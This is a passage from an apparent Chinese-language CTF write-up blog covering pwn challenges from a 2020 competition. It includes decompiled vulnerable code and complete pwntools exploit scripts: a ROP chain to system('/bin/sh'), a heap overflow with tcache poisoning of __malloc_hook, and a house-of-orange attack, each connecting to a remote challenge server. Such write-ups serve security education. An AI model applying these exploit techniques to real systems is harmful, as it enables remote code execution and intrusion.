    libc_system = libc_base + system_offset
    str_bin_sh = libc_base + str_bin_sh_offset

    payload = flat([pop_rdi, str_bin_sh, pop_rsi, 0, 0, ret, libc_system])
    p.send(payload)

    '''
    .text:0000000000400AA0 loc_400AA0: ; CODE XREF: __libc_csu_init+54↓j
    .text:0000000000400AA0 mov rdx, r15
    .text:0000000000400AA3 mov rsi, r14
    .text:0000000000400AA6 mov edi, r13d
    .text:0000000000400AA9 call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
    .text:0000000000400AAD add rbx, 1
    .text:0000000000400AB1 cmp rbp, rbx
    .text:0000000000400AB4 jnz short loc_400AA0
    .text:0000000000400AB6
    .text:0000000000400AB6 loc_400AB6: ; CODE XREF: __libc_csu_init+34↑j
    .text:0000000000400AB6 add rsp, 8
    .text:0000000000400ABA pop rbx
    .text:0000000000400ABB pop rbp
    .text:0000000000400ABC pop r12
    .text:0000000000400ABE pop r13
    .text:0000000000400AC0 pop r14
    .text:0000000000400AC2 pop r15
    .text:0000000000400AC4 retn
    '''

    success("libc_base: " + hex(libc_base))

    p.interactive()

babynotes

解题思路

  1. reset 功能重新调用了一次 regist ,而 regist 中输入的 name 和 age 在 buffer 上连续,在 strcpy 的时候存在一次 heap overflow 的机会:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    int regist()
    {
    char s; // [rsp+0h] [rbp-50h]
    __int64 v2; // [rsp+18h] [rbp-38h]
    __int64 v3; // [rsp+28h] [rbp-28h]

    memset(&s, 0, 0x50uLL);
    motto = (char *)malloc(0x100uLL);
    dest = (char *)malloc(0x18uLL);
    puts("Input your name: ");
    if ( (unsigned int)read(0, &s, 0x18uLL) == -1 )
    exit(0);
    puts("Input your motto: ");
    if ( (unsigned int)read(0, &v3, 0x20uLL) == -1 )
    exit(0);
    puts("Input your age: ");
    __isoc99_scanf("%lld", &v2);
    strcpy(dest, &s);
    strncpy(motto, (const char *)&v3, 0x20uLL);
    age = v2;
    return puts("Done!");
    }

    可见age的位置在strcpy(dest, &s);的时候也会同时被复制进去,因此可以覆盖下一个chunk的size。

  2. 利用 heap overflow 伪造 size ,形成 chunk overlap ,然后利用showleak出 libc 地址,再 tcache poisoning 打__malloc_hook为 onegadget 即可。

  3. exp:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    p = remote('123.56.170.202', 43121)

    def regit(name, motto, age):
    p.sendafter("Input your name: ", name)
    p.sendafter("Input your motto: ", motto)
    p.sendlineafter("Input your age: ", str(age))

    def add(idx, size):
    p.sendlineafter(">> ", "1")
    p.sendlineafter("Input index: ", str(idx))
    p.sendlineafter("Input note size: ", str(size))

    def show(idx):
    p.sendlineafter(">> ", "2")
    p.sendlineafter("Input index: ", str(idx))
    p.recvuntil("Note " + str(idx) + ": ")

    def delete(idx):
    p.sendlineafter(">> ", "3")
    p.sendlineafter("Input index: ", str(idx))

    def edit(idx, note):
    p.sendlineafter(">> ", "4")
    p.sendlineafter("Input index: ", str(idx))
    p.sendafter("Input your note: ", note)

    def reset(name, motto, age):
    p.sendlineafter(">> ", "5")
    regit(name, motto, age)

    def check():
    p.sendlineafter(">> ", "7")

    __malloc_hook_offset = libc.sym["__malloc_hook"]
    one_gadget_offset = 0xf1207

    regit("AAA", "AAA", 0)

    # leak libc
    add(0, 0x88)
    add(1, 0x18)
    delete(0)
    add(0, 0x88)
    show(0)
    libc_base = u64(p.recv(6).ljust(8, "\x00")) - 0x58 - main_arena_offset
    __malloc_hook = libc_base + __malloc_hook_offset
    one_gadget = libc_base + one_gadget_offset

    # heap overflow
    add(2, 0x18)
    add(3, 0x68)
    add(5, 0x18)
    delete(1)
    reset("A" * 0x18, "B" * 0x18, 0x91)
    delete(2)
    delete(3)

    # _malloc_hook
    add(1, 0x88)
    edit(1, "A" * 0x18 + p64(0x71) + p64(__malloc_hook - 0x23))
    add(3, 0x68)
    add(2, 0x68)
    edit(2, '\x00' * 0x13 + p64(one_gadget))

    # trigger
    delete(0)
    add(0, 0x28)

    success("libc_base: " + hex(libc_base))

    p.interactive()

Just_a_Galgame

解题思路

  1. 由于add功能是malloc(0x68),而edit是功能可以覆盖read(0, (void *)(chunk_array[v4] + 0x60), 0x10uLL);显然存在一个heap overflow可以覆盖size。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    if ( v6 <= 0 )
    {
    puts("Emmm...Alright. Thank you.");
    }
    else
    {
    --v6;
    puts("\nHotaru: Wow! Thanks~\n");
    chunk_array[6 - v6] = (__int64)malloc(0x68uLL);
    puts("[ You've hold some place in her heart! ]");
    }
    continue;
    case 2:
    if ( v7 <= 0 || v6 > 6 )
    {
    puts("\nHotaru: Emmm...Sorry I should go home now. Maybe the next time.\n");
    }
    else
    {
    puts("\nHotaru: Okay~ Let's choose a movie!\n");
    --v7;
    printf("idx >> ");
    read(0, &buf, 0x10uLL);
    if ( chunk_array[atoi((const char *)&buf)] )
    {
    printf("movie name >> ");
    v4 = atoi((const char *)&buf);
    read(0, (void *)(chunk_array[v4] + 0x60), 0x10uLL);
    puts("\nHotaru: What a good movie! I like it~\n");
    puts("[ You've gained a lot favor of her! ]");
    }
    else
    {
    puts("[ The movie is not exist. ]");
    ++v7;
    }
    }
    continue;
  2. 注意到程序没有delete功能,那么就利用heap overflow覆盖top chunk的size,在利用house of orange,即利用malloc(0x1000)把old top chunk放入unsorted bin中:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    case 3:
    if ( v8 <= 0 || v6 > 6 )
    {
    puts("\nHotaru: Sorry, I think it's better for us to be friends.\n");
    }
    else
    {
    --v8;
    puts("You are the apple of my eyes too!");
    big_chunk = (__int64)malloc(0x1000uLL);
    ++v7;
    }
    continue;
  3. 然后从unsorted bin分配chunk,再利用showleak出libc地址;同时edit没有对下标进行检查,而且Leave功能读入的字符串的位置就在bss上 chunk array 的后面:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    .bss:0000000000404060 ; __int64 chunk_array[7]
    .bss:0000000000404060 chunk_array dq ? ; DATA XREF: main+C3↑w
    .bss:0000000000404060 ; main+146↑r ...
    .bss:0000000000404068 dq ?
    .bss:0000000000404070 dq ?
    .bss:0000000000404078 dq ?
    .bss:0000000000404080 dq ?
    .bss:0000000000404088 dq ?
    .bss:0000000000404090 dq ?
    .bss:0000000000404098 big_chunk dq ? ; DATA XREF: main+1F9↑w
    .bss:00000000004040A0 msg db ? ; ; DATA XREF: main+270↑o
    .bss:00000000004040A0 ; main+284↑o
    .bss:00000000004040A1 db ? ;
    .bss:00000000004040A2 db ? ;
    .bss:00000000004040A3 db ? ;
    .bss:00000000004040A4 db ? ;
    .bss:00000000004040A5 db ? ;
    .bss:00000000004040A6 db ? ;
    .bss:00000000004040A7 db ? ;
    .bss:00000000004040A7 _bss ends

    所以利用Leavemsg处写入__malloc_hook - 0x60,然后利用edit_malloc_hook为 onegadget 即可。

  4. exp:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    p = remote('123.56.170.202', 52114)

    def add():
    p.sendlineafter(">> ", '1')

    def edit(idx, name):
    p.sendlineafter(">> ", '2')
    p.sendlineafter("idx >> ", str(idx))
    p.sendlineafter("movie name >> ", name)

    def bigchunk():
    p.sendlineafter(">> ", '3')

    def show(idx):
    p.sendlineafter(">> ", '4')
    p.recvuntil(str(idx) + ": ")

    def msg(message):
    p.sendlineafter(">> ", '5')
    p.sendafter("\nHotaru: Won't you stay with me for a while? QAQ\n", message)

    main_arena_offset = 0x3ebc40
    __malloc_hook_offset = libc.sym["__malloc_hook"]
    one_gadget_offset = 0x10a45c

    # house of orange
    add() # chunk 0
    edit(0, 'A' * 8 + p64(0xD41))
    bigchunk()

    # leak
    add() # chunk 1
    show(1)
    libc_base = u64(p.recv(6).ljust(8, '\x00')) - 0x660 - main_arena_offset
    __malloc_hook = libc_base + __malloc_hook_offset
    one_gadget = libc_base + one_gadget_offset

    # __malloc_hook
    msg(p64(__malloc_hook - 0x60))
    edit(8, p64(one_gadget))

    # trigger
    add()

    success("libc_base: " + hex(libc_base))

    p.interactive()
Author: Nop
Link: https://n0nop.com/2020/08/26/%E5%BC%BA%E7%BD%91%E6%9D%AF%E7%BA%BF%E4%B8%8A%E8%B5%9B%E9%83%A8%E5%88%86pwn/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.